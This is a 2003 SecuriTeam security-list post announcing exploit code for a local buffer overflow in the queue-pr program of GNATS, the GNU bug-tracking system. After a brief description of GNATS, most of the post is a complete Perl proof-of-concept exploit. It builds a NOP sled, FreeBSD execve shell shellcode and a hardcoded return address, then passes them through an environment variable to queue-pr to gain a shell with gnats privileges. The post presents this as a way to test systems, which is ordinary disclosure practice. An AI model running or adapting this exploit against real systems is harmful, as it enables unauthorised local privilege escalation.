[EXPL] GNATS Buffer Overflow Exploit Code Released (queue-pr)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/03
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To: list@securiteam.com Date: 21 Jul 2003 15:17:18 +0200
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GNATS Buffer Overflow Exploit Code Released (queue-pr)
------------------------------------------------------------------------
SUMMARY
<http://www.gnu.org/software/gnats/> GNATS is a portable incident/bug
report/help request-tracking system which runs on UNIX-like operating
systems. It easily handles thousands of problem reports, has been in wide
use since the early 90s, and can do most of its operations over e-mail.
Several front end interfaces exist, including command line, emacs, and
Tcl/Tk interfaces. There are also a number of Web (CGI) interfaces written
in scripting languages like Perl and Python.
The product has been found to contain multiple locally exploitable buffer
overflow vulnerabilities (as we reported in our previous article:
<http://www.securiteam.com/unixfocus/5CP0N0UAAA.html> GNATS (The GNU
bug-tracking system) Multiple Buffer Overflow Vulnerabilities).
The following exploit code can be used to test your system for the
mentioned vulnerability (the vulnerability in queue-pr).
DETAILS
Vulnerable systems:
* GNATS version 3.113.1(6)
Exploit:
#!/usr/bin/perl
# Simple PoC exploit for gnats
# Tested on FreeBSD 5.0 with gnats-3.113.1_6
# if all works it gives gnats access
# Code by inv[at]dtors
$ret_hex = 0xbfbffb90;
$shellcode
="\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x52\x31\xc0\
\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
$nops = "\x90"x1110;
$ret = pack('l', $ret_hex);
$exploit = "$nops"."$shellcode"."$ret"."$ret";
local($ENV{'EXP'}) = $exploit;
print "\ndtors gnats exploit\n";
print "code by inv\n\n";
print ("Address: 0x", sprintf('%lx', $ret_hex),"\n\n");
system('/usr/local/libexec/gnats/queue-pr -d $EXP -O bbb');
ADDITIONAL INFORMATION
The information has been provided by <mailto:inv@dtors> inv.
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